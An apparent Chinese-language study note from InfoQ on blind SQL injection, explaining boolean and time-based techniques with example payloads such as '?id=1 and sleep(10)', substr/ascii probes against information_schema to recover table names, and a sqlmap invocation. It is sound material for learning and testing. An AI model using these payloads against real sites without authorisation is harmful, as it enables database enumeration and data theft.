【学习记录】SQL 注入 -- 盲注
盲注
没有显错位
页面没有输出点(后端代码写了输出才会有显示)
布尔盲注和时间盲注
页面有显示,会显示有无数据,能判对错
时间盲注,能判时间
布尔盲注
例如传入参数?id=1 and database()='database_name'
如果库名真的是 database_name,就会返回正确的页面;如果显示异常,说明错误
时间盲注
例如传入参数?id=1 and sleep(10)
如果页面延时显示,说明 sleep 被执行了,这里存在注入
爆破技巧
做切割,例如一位一位的跑,判断每一位是否正确,数量级会小很多
切割函数 substr()
substr()截取字符串
可以将 str 替换为查找的东西,比如 substr(database(),1,1)截取当前库名的第一个字符
字符串长度 length()
用法示例(还是以 database()为例)
用作传参检查进行布尔盲注时:
?id=1 and length(database())>6 如果页面显示正常,说明 database()字符串的长度大于 6
然后就可以测试出 database()的长度
还可以在外面套一层 ascii()获得当前字符 ascii 的范围(配合切割函数使用)
?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5
这里的布尔盲注是看 information_schema 库中的 tables 表的 table_name 字段的第一个值(就是系统库中存储表名的表中存储的第一个表名)是否大于 5.从页面返回是否正常判断,继而可以测试出第一个表的表名长度
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>79
系统库中存储表名的表中存储的第一个表名的第一个字符的 ascii 码值是否大于 79,其他和上一条相同
if(条件,成立执行,不成立执行)
例如
使用工具/脚本
burp(跑多重参数)
python 脚本
sqlmap
python sqlmap.py -u "url?id=1"
*目标注入点有特殊闭合的时候要加上闭合,例如注入点是 ")
命令就是 python sqlmap.py -u "url?id=1")"
*表名和字段名的 ascii 码值一般在 32-127
版权声明: 本文为 InfoQ 作者【w010w】的原创文章。
原文链接:【http://xie.infoq.cn/article/b62d3fa3ad6c95d634b99e723】。
本文遵守【CC-BY 4.0】协议,转载请保留原文出处及本版权声明。
评论